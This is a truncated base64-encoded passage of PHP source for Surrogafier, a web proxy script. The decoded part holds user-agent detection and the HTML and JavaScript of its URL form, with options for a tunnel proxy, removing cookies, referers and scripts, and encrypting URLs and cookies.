j0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3IodmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm